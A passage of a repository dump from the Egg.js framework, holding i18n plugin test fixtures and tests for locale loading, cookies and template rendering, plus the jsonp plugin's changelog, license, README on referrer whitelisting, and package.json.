    "path": "plugins/i18n/test/fixtures/apps/i18n/config/locales/xx.txt",
    "content": "foo\n"
  },
  {
    "path": "plugins/i18n/test/fixtures/apps/i18n/config/locales/zh-CN.js",
    "content": "'use strict';\n\nmodule.exports = {\n  Email: '邮箱',\n  'Hello %s, how are you today?': '%s，今天过得如何？',\n  'Hello %s, how are you today? How was your %s.': '%s 你好, 今天过得如何？你的 %s 如何。',\n};\n"
  },
  {
    "path": "plugins/i18n/test/fixtures/apps/i18n/package.json",
    "content": "{\n  \"name\": \"i18n\"\n}\n"
  },
  {
    "path": "plugins/i18n/test/fixtures/apps/i18n-domain/app/controller/message.js",
    "content": "'use strict';\n\nmodule.exports = async (ctx) => {\n  ctx.body = {\n    message: ctx.__('Hello %s, how are you today? How was your %s.', 'fengmk2', 18),\n    empty: ctx.__(),\n    notexists_key: ctx.__('key not exists'),\n    empty_string: ctx.__(''),\n    novalue: ctx.__('key %s ok'),\n    arguments3: ctx.gettext('%s %s %s', 1, 2, 3),\n    arguments4: ctx.gettext('%s %s %s %s', 1, 2, 3, 4),\n    arguments5: ctx.__('%s %s %s %s %s', 1, 2, 3, 4, 5),\n    arguments6: ctx.__('%s %s %s %s %s.', 1, 2, 3, 4, 5, 6),\n    values: ctx.__('{0} {1} {0} {1} {2} {100}', ['foo', 'bar']),\n  };\n};\n"
  },
  {
    "path": "plugins/i18n/test/fixtures/apps/i18n-domain/app/router.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.get('/message', app.controller.message);\n};\n"
  },
  {
    "path": "plugins/i18n/test/fixtures/apps/i18n-domain/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = 'i18n';\n\nexports.i18n = {\n  cookieDomain: '.foo.com',\n};\n"
  },
  {
    "path": "plugins/i18n/test/fixtures/apps/i18n-domain/config/locales/de.json",
    "content": "{\n  \"Hello\": \"Hallo\",\n  \"Hello %s, how are you today?\": \"Hallo %s, wie geht es dir heute?\",\n  \"weekend\": \"Wochenende\",\n  \"Hello %s, how are you today? How was your %s.\": \"Hallo %s, wie geht es dir heute? Wie war dein %s.\",\n  \"Hi\": \"Hi\",\n  \"Howdy\": \"Hallöchen\",\n  \"tree\": \"Baum\"\n}\n"
  },
  {
    "path": "plugins/i18n/test/fixtures/apps/i18n-domain/config/locales/xx.txt",
    "content": "foo\n"
  },
  {
    "path": "plugins/i18n/test/fixtures/apps/i18n-domain/config/locales/zh-CN.js",
    "content": "'use strict';\n\nmodule.exports = {\n  Email: '邮箱',\n  'Hello %s, how are you today?': '%s，今天过得如何？',\n};\n"
  },
  {
    "path": "plugins/i18n/test/fixtures/apps/i18n-domain/package.json",
    "content": "{\n  \"name\": \"i18n\"\n}\n"
  },
  {
    "path": "plugins/i18n/test/fixtures/apps/loader/a/config/locales/zh-CN.ts",
    "content": "export default {\n  pluginA: true,\n  pluginATS: 'text from ts file',\n};\n"
  },
  {
    "path": "plugins/i18n/test/fixtures/apps/loader/a/config/locales/zh-CN.yaml",
    "content": "EmailYaml: '邮箱 from yaml'\n"
  },
  {
    "path": "plugins/i18n/test/fixtures/apps/loader/a/config/locales/zh_CN.properties",
    "content": "EmailIni = 邮箱 from properties\n"
  },
  {
    "path": "plugins/i18n/test/fixtures/apps/loader/a/package.json",
    "content": "{\n  \"name\": \"a\",\n  \"type\": \"module\",\n  \"eggPlugin\": {\n    \"name\": \"a\"\n  }\n}\n"
  },
  {
    "path": "plugins/i18n/test/fixtures/apps/loader/app/router.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.get('/', (ctx) => {\n    ctx.body = ctx.__(ctx.query.key);\n  });\n\n  app.get('/renderString', async (ctx) => {\n    const tpl = `<li>\\{{__('Email')}}: \\{{user.email}}</li>\n<li>\\{{gettext('Hello %s, how are you today?', user.name)}}</li>\n<li>\\{{__('%s %s', 'foo', 'bar')}}</li>\n`;\n\n    ctx.body = await ctx.renderString(tpl, {\n      user: {\n        name: 'fengmk2',\n      },\n    });\n  });\n};\n"
  },
  {
    "path": "plugins/i18n/test/fixtures/apps/loader/b/config/locales/zh-CN.js",
    "content": "'use strict';\n\nmodule.exports = {\n  pluginB: true,\n};\n"
  },
  {
    "path": "plugins/i18n/test/fixtures/apps/loader/b/package.json",
    "content": "{\n  \"name\": \"b\",\n  \"eggPlugin\": {\n    \"name\": \"b\"\n  }\n}\n"
  },
  {
    "path": "plugins/i18n/test/fixtures/apps/loader/c/config/locale/zh-CN.js",
    "content": "'use strict';\n\nmodule.exports = {\n  pluginC: 'i18n form locale',\n};\n"
  },
  {
    "path": "plugins/i18n/test/fixtures/apps/loader/c/config/locales/zh-CN.js",
    "content": "'use strict';\n\nmodule.exports = {\n  pluginC: 'i18n form locales',\n};\n"
  },
  {
    "path": "plugins/i18n/test/fixtures/apps/loader/c/package.json",
    "content": "{\n  \"name\": \"c\",\n  \"eggPlugin\": {\n    \"name\": \"c\"\n  }\n}\n"
  },
  {
    "path": "plugins/i18n/test/fixtures/apps/loader/config/config.default.js",
    "content": "'use strict';\n\nconst path = require('path');\n\nexports.keys = 'loader';\nexports.i18n = {\n  dirs: [path.join(__dirname, 'locales2')],\n};\nexports.view = {\n  defaultViewEngine: 'nunjucks',\n};\n"
  },
  {
    "path": "plugins/i18n/test/fixtures/apps/loader/config/locales/de.json",
    "content": "{\n  \"Hello\": \"Hallo\",\n  \"Hello %s, how are you today?\": \"Hallo %s, wie geht es dir heute?\",\n  \"weekend\": \"Wochenende\",\n  \"Hello %s, how are you today? How was your %s.\": \"Hallo %s, wie geht es dir heute? Wie war dein %s.\",\n  \"Hi\": \"Hi\",\n  \"Howdy\": \"Hallöchen\",\n  \"tree\": \"Baum\"\n}\n"
  },
  {
    "path": "plugins/i18n/test/fixtures/apps/loader/config/locales/zh-CN.js",
    "content": "'use strict';\n\nmodule.exports = {\n  Email: '邮箱',\n  'Hello %s, how are you today?': '%s，今天过得如何？',\n};\n"
  },
  {
    "path": "plugins/i18n/test/fixtures/apps/loader/config/locales2/zh-CN.js",
    "content": "'use strict';\n\nmodule.exports = {\n  locales2: true,\n};\n"
  },
  {
    "path": "plugins/i18n/test/fixtures/apps/loader/config/plugin.js",
    "content": "'use strict';\n\nconst path = require('path');\n\nmodule.exports = {\n  a: {\n    enable: true,\n    path: path.join(__dirname, '../a'),\n  },\n  b: {\n    enable: true,\n    path: path.join(__dirname, '../b'),\n  },\n  c: {\n    enable: true,\n    path: path.join(__dirname, '../c'),\n  },\n  nunjucks: {\n    enable: true,\n    package: 'egg-view-nunjucks',\n  },\n};\n"
  },
  {
    "path": "plugins/i18n/test/fixtures/apps/loader/package.json",
    "content": "{\n  \"name\": \"loader\",\n  \"type\": \"module\"\n}\n"
  },
  {
    "path": "plugins/i18n/test/fixtures/custom_egg/config/locales/zh-CN.js",
    "content": "export default {\n  framework: true,\n};\n"
  },
  {
    "path": "plugins/i18n/test/fixtures/custom_egg/index.js",
    "content": "import path from 'node:path';\nimport { fileURLToPath } from 'node:url';\n\nimport { startCluster as _startCluster, Application as _Application, Agent as _Agent } from 'egg';\n\nconst __filename = fileURLToPath(import.meta.url);\nconst EGG_PATH = path.dirname(__filename);\n\nexport class Application extends _Application {\n  get [Symbol.for('egg#eggPath')]() {\n    return EGG_PATH;\n  }\n}\n\nexport class Agent extends _Agent {\n  get [Symbol.for('egg#eggPath')]() {\n    return EGG_PATH;\n  }\n}\n\nexport function startCluster(options, callback) {\n  options = options || {};\n  options.customEgg = EGG_PATH;\n  _startCluster(options, callback);\n}\n"
  },
  {
    "path": "plugins/i18n/test/fixtures/custom_egg/package.json",
    "content": "{\n  \"name\": \"custom-egg\",\n  \"type\": \"module\"\n}\n"
  },
  {
    "path": "plugins/i18n/test/i18n.test.ts",
    "content": "import path from 'node:path';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, beforeAll, afterAll, afterEach, expect } from 'vitest';\n\nfunction getFixtures(name: string) {\n  return path.join(import.meta.dirname, 'fixtures', name);\n}\n\ndescribe('test/i18n.test.ts', () => {\n  let app: MockApplication;\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: getFixtures('apps/i18n'),\n    });\n    await app.ready();\n  });\n  afterAll(() => app.close());\n\n  afterEach(mm.restore);\n\n  describe('ctx.__(key, value)', () => {\n    it('should return locale de', async () => {\n      await app\n        .httpRequest()\n        .get('/message?locale=de')\n        .expect(200)\n        .expect('Set-Cookie', /,locale=de; path=\\/; max-age=31557600; expires=[^;]+ GMT$/)\n        .expect({\n          message: 'Hallo fengmk2, wie geht es dir heute? Wie war dein 18.',\n          empty: '',\n          notexists_key: 'key not exists',\n          empty_string: '',\n          novalue: 'key %s ok',\n          arguments3: '1 2 3',\n          arguments4: '1 2 3 4',\n          arguments5: '1 2 3 4 5',\n          arguments6: '1 2 3 4 5. 6',\n          values: 'foo bar foo bar {2} {100}',\n        });\n    });\n\n    it('should return default locale en_US', async () => {\n      await app\n        .httpRequest()\n        .get('/message?locale=')\n        .expect(200)\n        .expect('Set-Cookie', /locale=en-us; path=\\/; max-age=31557600; expires=[^;]+ GMT$/)\n        .expect({\n          message: 'Hello fengmk2, how are you today? How was your 18.',\n          empty: '',\n          notexists_key: 'key not exists',\n          empty_string: '',\n          novalue: 'key %s ok',\n          arguments3: '1 2 3',\n          arguments4: '1 2 3 4',\n          arguments5: '1 2 3 4 5',\n          arguments6: '1 2 3 4 5. 6',\n          values: 'foo bar foo bar {2} {100}',\n        });\n    });\n\n    it('should return get locale from cookie', async () => {\n      await app.httpRequest().get('/message').set('Cookie', 'locale=zh-cn').expect(200).expect({\n        message: 'fengmk2 你好, 今天过得如何？你的 18 如何。',\n        empty: '',\n        notexists_key: 'key not exists',\n        empty_string: '',\n        novalue: 'key %s ok',\n        arguments3: '1 2 3',\n        arguments4: '1 2 3 4',\n        arguments5: '1 2 3 4 5',\n        arguments6: '1 2 3 4 5. 6',\n        values: 'foo bar foo bar {2} {100}',\n      });\n    });\n\n    it('should __() work', () => {\n      const ctx = app.mockContext();\n      expect(ctx.__('')).toBe('');\n      expect(ctx.__('Email')).toBe('Email');\n      expect(ctx.__('Email %s', 'ok')).toBe('Email ok');\n      expect(ctx.__('Email %s %d', 'ok', 1)).toBe('Email ok 1');\n      expect(ctx.__('Email %s %d %j', 'ok', 1, { foo: 'bar' })).toBe('Email ok 1 {\"foo\":\"bar\"}');\n      expect(ctx.__('Email %s %d %j %s', 'ok', 1, { foo: 'bar' }, 'foo')).toBe('Email ok 1 {\"foo\":\"bar\"} foo');\n      expect(ctx.__('Email {a} {b}', { a: 'a', b: 'b' })).toBe('Email a b');\n      expect(ctx.__('Email {a} {b} {c}', { a: 'a', b: 'b' })).toBe('Email a b {c}');\n      expect(ctx.__('Email {0} {1}', ['a', 'b'])).toBe('Email a b');\n      expect(ctx.app.__('en-us', 'Email {0} {1}', ['a', 'b'])).toBe('Email a b');\n      expect(ctx.app.__('en-us', '', ['a', 'b'])).toBe('');\n    });\n\n    it('should ctx.locals.__() work', () => {\n      const ctx = app.mockContext();\n      expect(ctx.locals.__('Email %s', 'ok')).toBe('Email ok');\n      ctx.locals.a = 'aaa';\n      expect(ctx.locals.a).toBe('aaa');\n      expect(Object.keys(ctx.locals)).toEqual(['__', 'gettext', 'a']);\n    });\n\n    it('should not allow to override the app.locals.__', () => {\n      expect(() => {\n        app.locals.__ = () => 'app.__';\n      }).toThrow(/Cannot assign to read only property '__' of object/);\n    });\n  });\n\n  describe('with cookieDomain', () => {\n    let app: MockApplication;\n    beforeAll(async () => {\n      app = mm.app({\n        baseDir: getFixtures('apps/i18n-domain'),\n      });\n      await app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should return locale de', async () => {\n      await app\n        .httpRequest()\n        .get('/message?locale=de')\n        .expect(200)\n        .expect('Set-Cookie', /locale=de; path=\\/; max-age=31557600; expires=[^;]+ GMT; domain=.foo.com$/)\n        .expect({\n          message: 'Hallo fengmk2, wie geht es dir heute? Wie war dein 18.',\n          empty: '',\n          notexists_key: 'key not exists',\n          empty_string: '',\n          novalue: 'key %s ok',\n          arguments3: '1 2 3',\n          arguments4: '1 2 3 4',\n          arguments5: '1 2 3 4 5',\n          arguments6: '1 2 3 4 5. 6',\n          values: 'foo bar foo bar {2} {100}',\n        });\n    });\n\n    it('should return default locale en_US', async () => {\n      await app\n        .httpRequest()\n        .get('/message?locale=')\n        .expect(200)\n        .expect('Set-Cookie', /locale=en-us; path=\\/; max-age=31557600; expires=[^;]+ GMT; domain=.foo.com$/)\n        .expect({\n          message: 'Hello fengmk2, how are you today? How was your 18.',\n          empty: '',\n          notexists_key: 'key not exists',\n          empty_string: '',\n          novalue: 'key %s ok',\n          arguments3: '1 2 3',\n          arguments4: '1 2 3 4',\n          arguments5: '1 2 3 4 5',\n          arguments6: '1 2 3 4 5. 6',\n          values: 'foo bar foo bar {2} {100}',\n        });\n    });\n  });\n\n  describe('ctx.locale', () => {\n    let app: MockApplication;\n    beforeAll(async () => {\n      app = mm.app({\n        baseDir: getFixtures('apps/i18n'),\n      });\n      await app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should get request default locale', () => {\n      const ctx = app.mockContext();\n      expect(ctx.locale).toBe('en-us');\n    });\n\n    it('should get request locale from cookie', () => {\n      const ctx = app.mockContext({\n        headers: {\n          cookie: 'locale=zh-CN',\n        },\n      });\n      expect(ctx.locale).toBe('zh-cn');\n    });\n  });\n\n  describe('loader', () => {\n    let app: MockApplication;\n    beforeAll(async () => {\n      app = mm.app({\n        baseDir: getFixtures('apps/loader'),\n        framework: getFixtures('custom_egg'),\n      });\n      await app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should return locale from plugin a', async () => {\n      await app.httpRequest().get('/?key=pluginA').set('Accept-Language', 'zh-CN,zh;q=0.5').expect('true');\n    });\n\n    it('should load locale resource from .ts file work', async () => {\n      await app\n        .httpRequest()\n        .get('/?key=pluginATS')\n        .set('Accept-Language', 'zh-CN,zh;q=0.5')\n        .expect('text from ts file');\n    });\n\n    it('should load locale resource from .yaml file work', async () => {\n      await app.httpRequest().get('/?key=EmailYaml').set('Accept-Language', 'zh-CN,zh;q=0.5').expect('邮箱 from yaml');\n    });\n\n    it('should load locale resource from .properties file work', async () => {\n      await app\n        .httpRequest()\n        .get('/?key=EmailIni')\n        .set('Accept-Language', 'zh-CN,zh;q=0.5')\n        .expect('邮箱 from properties');\n    });\n\n    it('should return locale from plugin b', async () => {\n      await app.httpRequest().get('/?key=pluginB').set('Accept-Language', 'zh-CN,zh;q=0.5').expect('true');\n    });\n\n    it('should return locale from framework', async () => {\n      await app.httpRequest().get('/?key=framework').set('Accept-Language', 'zh-CN,zh;q=0.5').expect('true');\n    });\n\n    it('should return locale from locales2', async () => {\n      await app.httpRequest().get('/?key=locales2').set('Accept-Language', 'zh-CN,zh;q=0.5').expect('true');\n    });\n\n    it('should use locale/ when both exist locales/ and locale/', async () => {\n      await app.httpRequest().get('/?key=pluginC').set('Accept-Language', 'zh-CN,zh;q=0.5').expect('i18n form locale');\n    });\n\n    describe('view renderString with __(key, value)', () => {\n      it('should render with default locale: en-US', async () => {\n        await app\n          .httpRequest()\n          .get('/renderString')\n          .expect(200)\n          .expect('Set-Cookie', /locale=en-us; path=\\/; max-age=31557600; expires=[^;]+ GMT/)\n          .expect('<li>Email: </li>\\n<li>Hello fengmk2, how are you today?</li>\\n<li>foo bar</li>\\n');\n      });\n\n      it('should render with query locale: zh_CN', async () => {\n        await app\n          .httpRequest()\n          .get('/renderString?locale=zh_CN')\n          .expect(200)\n          .expect('Set-Cookie', /locale=zh-cn; path=\\/; max-age=31557600; expires=[^;]+ GMT/)\n          .expect('<li>邮箱: </li>\\n<li>fengmk2，今天过得如何？</li>\\n<li>foo bar</li>\\n');\n      });\n\n      // Accept-Language: zh-CN,zh;q=0.5\n      // Accept-Language: zh-CN;q=1\n      // Accept-Language: zh-CN\n      it('should render with Accept-Language: zh-CN,zh;q=0.5', async () => {\n        await app\n          .httpRequest()\n          .get('/renderString')\n          .set('Accept-Language', 'zh-CN,zh;q=0.5')\n          .expect(200)\n          .expect('Set-Cookie', /locale=zh-cn; path=\\/; max-age=31557600; expires=[^;]+ GMT/)\n          .expect('<li>邮箱: </li>\\n<li>fengmk2，今天过得如何？</li>\\n<li>foo bar</li>\\n');\n\n        await app\n          .httpRequest()\n          .get('/renderString')\n          .set('Accept-Language', 'zh-CN;q=1')\n          .expect(200)\n          .expect('Set-Cookie', /locale=zh-cn; path=\\/; max-age=31557600; expires=[^;]+ GMT/)\n          .expect('<li>邮箱: </li>\\n<li>fengmk2，今天过得如何？</li>\\n<li>foo bar</li>\\n');\n\n        await app\n          .httpRequest()\n          .get('/renderString')\n          .set('Accept-Language', 'zh_cn')\n          .expect(200)\n          .expect('Set-Cookie', /locale=zh-cn; path=\\/; max-age=31557600; expires=[^;]+ GMT/)\n          .expect('<li>邮箱: </li>\\n<li>fengmk2，今天过得如何？</li>\\n<li>foo bar</li>\\n');\n      });\n\n      it('should render set cookie locale: zh-CN if query locale not equal to cookie', async () => {\n        await app\n          .httpRequest()\n          .get('/renderString?locale=en-US')\n          .set('Cookie', 'locale=zh-CN')\n          .expect(200)\n          .expect('Set-Cookie', /locale=en-us; path=\\/; max-age=31557600; expires=[^;]+ GMT/)\n          .expect('<li>Email: </li>\\n<li>Hello fengmk2, how are you today?</li>\\n<li>foo bar</li>\\n');\n      });\n\n      it('should render with cookie locale: zh-cn', async () => {\n        await app\n          .httpRequest()\n          .get('/renderString')\n          .set('Cookie', 'locale=zh-cn')\n          .expect(200)\n          .expect('<li>邮箱: </li>\\n<li>fengmk2，今天过得如何？</li>\\n<li>foo bar</li>\\n')\n          .expect((res) => {\n            // cookie should not change\n            const setCookies = res.headers['set-cookie'];\n            expect(setCookies).not.toContain('locale=');\n          });\n      });\n    });\n  });\n\n  describe('ctx.locale', () => {\n    it('should locale work and can be override', () => {\n      const ctx = app.mockContext({\n        query: { locale: 'zh-cn' },\n      });\n      expect(ctx.locale).toBe('zh-cn');\n      expect(ctx.response.headers['set-cookie']).toBeDefined();\n      expect(ctx.response.headers['set-cookie']).toHaveLength(1);\n      expect(ctx.response.headers['set-cookie']![0]).toMatch(\n        /^locale=zh-cn; path=\\/; max-age=31557600; expires=[^;]+ GMT$/,\n      );\n      ctx.locale = 'en-us';\n      expect(ctx.response.headers['set-cookie']).toHaveLength(1);\n      expect(ctx.response.headers['set-cookie']![0]).toMatch(\n        /^locale=en-us; path=\\/; max-age=31557600; expires=[^;]+ GMT$/,\n      );\n      expect(ctx.locale).toBe('en-us');\n      expect(ctx.response.headers['set-cookie']).toHaveLength(1);\n      expect(ctx.response.headers['set-cookie']![0]).toMatch(\n        /^locale=en-us; path=\\/; max-age=31557600; expires=[^;]+ GMT$/,\n      );\n    });\n  });\n});\n"
  },
  {
    "path": "plugins/i18n/test/utils.test.ts",
    "content": "import { test, expect } from 'vitest';\n\nimport { formatLocale } from '../src/utils.ts';\n\ntest('formatLocale', () => {\n  expect(formatLocale('en_US')).toBe('en-us');\n  expect(formatLocale('zh_CN')).toBe('zh-cn');\n  expect(formatLocale('zh-CN')).toBe('zh-cn');\n  expect(formatLocale('zh_Hans_CN')).toBe('zh-hans-cn');\n  expect(formatLocale('zh-Hant-CN')).toBe('zh-hant-cn');\n});\n"
  },
  {
    "path": "plugins/i18n/tsconfig.json",
    "content": "{\n  \"extends\": \"../../tsconfig.json\"\n}\n"
  },
  {
    "path": "plugins/jsonp/CHANGELOG.md",
    "content": "# Changelog\n\n> [!IMPORTANT]\n> Moving forwards we are using the GitHub releases page at <https://github.com/eggjs/egg/releases> in combination with [release.yml](https://github.com/eggjs/egg/actions/workflows/release.yml) for publishing releases and their changelogs.\n\n---\n\n## 4.0.0+\n\n### ⚠ BREAKING CHANGES\n\n* drop Node.js < 22.18.0 support\n* only support egg@4\n\npart of https://github.com/eggjs/egg/issues/5434\n\n---\n\n## [3.0.0](https://github.com/eggjs/jsonp/compare/v2.0.0...v3.0.0) (2025-01-11)\n\n\n### ⚠ BREAKING CHANGES\n\n* drop Node.js < 18.19.0 support\n\npart of https://github.com/eggjs/egg/issues/3644\n\nhttps://github.com/eggjs/egg/issues/5257\n\n<!-- This is an auto-generated comment: release notes by coderabbit.ai\n-->\n## Summary by CodeRabbit\n\n## Release Notes\n\n- **New Features**\n  - Added TypeScript support for the JSONP plugin\n  - Modernized project structure with ES module syntax\n  - Enhanced type definitions and configuration\n  - Introduced new GitHub Actions workflows for CI/CD\n  - Added a new class for JSONP error handling\n\n- **Breaking Changes**\n  - Renamed package from `egg-jsonp` to `@eggjs/jsonp`\n  - Dropped support for Node.js versions below 18.19.0\n  - Refactored configuration and middleware approach\n\n- **Improvements**\n  - Updated GitHub Actions workflows for CI/CD\n  - Improved security checks for JSONP requests\n  - Added more robust error handling\n  - Enhanced logging configuration\n\n- **Dependency Updates**\n  - Updated core dependencies\n  - Migrated to modern TypeScript tooling\n<!-- end of auto-generated comment: release notes by coderabbit.ai -->\n\n### Features\n\n* support cjs and esm both by tshy ([#12](https://github.com/eggjs/jsonp/issues/12)) ([9136768](https://github.com/eggjs/jsonp/commit/9136768ba518dcec765f86af3e7259d131b6917b))\n\n2.0.0 / 2017-11-11\n==================\n\n**others**\n  * [[`a9cadba`](http://github.com/eggjs/egg-jsonp/commit/a9cadba740dc54b9c3dd0593495b66b5a98383e8)] - refactor: use async function and support egg@2 (#10) (Yiyu He <<dead_horse@qq.com>>)\n\n1.2.2 / 2017-11-10\n==================\n\n**fixes**\n  * [[`d14d2d6`](http://github.com/eggjs/egg-jsonp/commit/d14d2d6aa1cdc50ff084f801fa741221667ee577)] - fix: rename to createJsonpBody (#9) (Yiyu He <<dead_horse@qq.com>>)\n\n**others**\n  * [[`f7137a0`](http://github.com/eggjs/egg-jsonp/commit/f7137a011b202882fbfd48a4ee434031a9b950d2)] - chore: add pkgfiles check in ci (dead-horse <<dead_horse@qq.com>>)\n\n1.2.1 / 2017-10-11\n==================\n\n**fixes**\n  * [[`a19f450`](http://github.com/eggjs/egg-jsonp/commit/a19f45089ed8229a3ee0099a730a2be9ea57b114)] - fix: add lib into files (dead-horse <<dead_horse@qq.com>>)\n\n1.2.0 / 2017-10-11\n==================\n\n**features**\n  * [[`ee98948`](http://github.com/eggjs/egg-jsonp/commit/ee9894834ed8de081b26680a58506896d736cb61)] - feat: add acceptJSONP and open jsonp wrap function (#8) (Gao Peng <<ggjqzjgp103@qq.com>>)\n\n1.1.2 / 2017-07-21\n==================\n\n  * fix: should not throw when referrer illegal (#5)\n\n1.1.1 / 2017-06-04\n==================\n\n  * docs: fix License url (#4)\n\n1.1.0 / 2017-06-01\n==================\n\n  * test: test on node 8\n  * feat: support _callback and callback\n\n1.0.0 / 2017-01-23\n==================\n\n  * fix: refine jsonp (#1)\n  * feat: init jsonp"
  },
  {
    "path": "plugins/jsonp/LICENSE",
    "content": "The MIT License (MIT)\n\nCopyright (c) Alibaba Group Holding Limited and other contributors.\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n"
  },
  {
    "path": "plugins/jsonp/README.md",
    "content": "# @eggjs/jsonp\n\n[![NPM version][npm-image]][npm-url]\n[![Known Vulnerabilities][snyk-image]][snyk-url]\n[![npm download][download-image]][download-url]\n[![Node.js Version](https://img.shields.io/node/v/@eggjs/jsonp.svg?style=flat)](https://nodejs.org/en/download/)\n[![PRs Welcome](https://img.shields.io/badge/PRs-welcome-brightgreen.svg?style=flat-square)](https://makeapullrequest.com)\n\n[npm-image]: https://img.shields.io/npm/v/@eggjs/jsonp.svg?style=flat-square\n[npm-url]: https://npmjs.org/package/@eggjs/jsonp\n[snyk-image]: https://snyk.io/test/npm/@eggjs/jsonp/badge.svg?style=flat-square\n[snyk-url]: https://snyk.io/test/npm/@eggjs/jsonp\n[download-image]: https://img.shields.io/npm/dm/@eggjs/jsonp.svg?style=flat-square\n[download-url]: https://npmjs.org/package/@eggjs/jsonp\n\nAn egg plugin for jsonp support.\n\n## Usage\n\negg built-in plugin `jsonp` is enabled by default.\n\n```ts\n// {app_root}/config/plugin.ts\n\nexport default {\n  jsonp: {\n    enable: true,\n  },\n};\n```\n\n## Configuration\n\n- {String|Array} callback - jsonp callback method key, default to `[ '_callback', 'callback' ]`\n- {Number} limit - callback method name's max length, default to `50`\n- {Boolean} csrf - enable csrf check or not. default to false\n- {String|RegExp|Array} whiteList - referrer white list\n\nif whiteList's type is `RegExp`, referrer must match `whiteList`, pay attention to the first `^` and last `/`.\n\n```ts\nexport default {\n  jsonp: {\n    whiteList: /^https?:\\/\\/test.com\\//,\n  },\n};\n\n// matchs referrer:\n// https://test.com/hello\n// http://test.com/\n```\n\nif whiteList's type is `String` and starts with `.`:\n\n```ts\nexport default {\n  jsonp: {\n    whiteList: '.test.com',\n  },\n};\n\n// matchs domain test.com:\n// https://test.com/hello\n// http://test.com/\n\n// matchs subdomain\n// https://sub.test.com/hello\n// http://sub.sub.test.com/\n```\n\nif whiteList's type is `String` and not starts with `.`:\n\n```ts\nexport default {\n  jsonp: {\n    whiteList: 'sub.test.com',\n  },\n};\n\n// only matchs domain sub.test.com:\n// https://sub.test.com/hello\n// http://sub.test.com/\n```\n\nwhiteList also can be an array:\n\n```ts\nexport default {\n  jsonp: {\n    whiteList: ['.foo.com', '.bar.com'],\n  },\n};\n```\n\nsee [config/config.default.ts](https://github.com/eggjs/egg/blob/master/plugins/jsonp/src/config/config.default.ts) for more detail.\n\n## API\n\n- ctx.acceptJSONP - detect if response should be jsonp, readonly\n\n## Example\n\n### Standard Application Usage\n\nIn `app/router.ts`\n\n```ts\n// Create once and use in any router you want to support jsonp.\nconst jsonp = app.jsonp();\n\napp.get('/default', jsonp, 'jsonp.index');\napp.get('/another', jsonp, 'jsonp.another');\n\n// Customize by create another jsonp middleware with specific configurations.\napp.get('/customize', app.jsonp({ callback: 'fn' }), 'jsonp.customize');\n```\n\n### tegg HttpController Usage\n\nTODO: TBD\n\n## Questions & Suggestions\n\nPlease open an issue [here](https://github.com/eggjs/egg/issues).\n\n## License\n\n[MIT](LICENSE)\n\n## Contributors\n\n[![Contributors](https://contrib.rocks/image?repo=eggjs/egg)](https://github.com/eggjs/egg/graphs/contributors)\n\nMade with [contributors-img](https://contrib.rocks).\n"
  },
  {
    "path": "plugins/jsonp/package.json",
    "content": "{\n  \"name\": \"@eggjs/jsonp\",\n  \"version\": \"4.0.2-beta.5\",\n  \"description\": \"jsonp support for egg\",\n  \"keywords\": [\n    \"egg\",\n    \"egg-plugin\",\n    \"jsonp\",\n    \"security\"\n  ],\n  \"homepage\": \"https://github.com/eggjs/egg/tree/next/plugins/jsonp\",\n  \"bugs\": {\n    \"url\": \"https://github.com/eggjs/egg/issues\"\n  },\n  \"license\": \"MIT\",\n  \"author\": \"dead-horse\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/eggjs/egg.git\",\n    \"directory\": \"plugins/jsonp\"\n  },\n  \"files\": [\n    \"dist\"\n  ],\n  \"type\": \"module\",\n  \"main\": \"./dist/index.js\",\n  \"module\": \"./dist/index.js\",\n  \"types\": \"./dist/index.d.ts\",\n  \"exports\": {\n    \".\": \"./src/index.ts\",\n    \"./app/extend/application\": \"./src/app/extend/application.ts\",\n    \"./app/extend/context\": \"./src/app/extend/context.ts\",\n    \"./config/config.default\": \"./src/config/config.default.ts\",\n    \"./error/JSONPForbiddenReferrerError\": \"./src/error/JSONPForbiddenReferrerError.ts\",\n    \"./lib/private_key\": \"./src/lib/private_key.ts\",\n    \"./types\": \"./src/types.ts\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"exports\": {\n      \".\": \"./dist/index.js\",\n      \"./app/extend/application\": \"./dist/app/extend/application.js\",\n      \"./app/extend/context\": \"./dist/app/extend/context.js\",\n      \"./config/config.default\": \"./dist/config/config.default.js\",\n      \"./error/JSONPForbiddenReferrerError\": \"./dist/error/JSONPForbiddenReferrerError.js\",\n      \"./lib/private_key\": \"./dist/lib/private_key.js\",\n      \"./types\": \"./dist/types.js\",\n      \"./package.json\": \"./package.json\"\n    }\n  },\n  \"scripts\": {\n    \"typecheck\": \"tsgo --noEmit\"\n  },\n  \"dependencies\": {\n    \"jsonp-body\": \"catalog:\"\n  },\n  \"devDependencies\": {\n    \"@eggjs/mock\": \"workspace:*\",\n    \"@types/node\": \"catalog:\",\n    \"egg\": \"workspace:*\",\n    \"typescript\": \"catalog:\"\n  },\n  \"peerDependencies\": {\n    \"egg\": \"workspace:*\"\n  },\n  \"engines\": {\n    \"node\": \">=22.18.0\"\n  }\n}\n"
  },
  {
    "path": "plugins/jsonp/src/app/extend/application.ts",
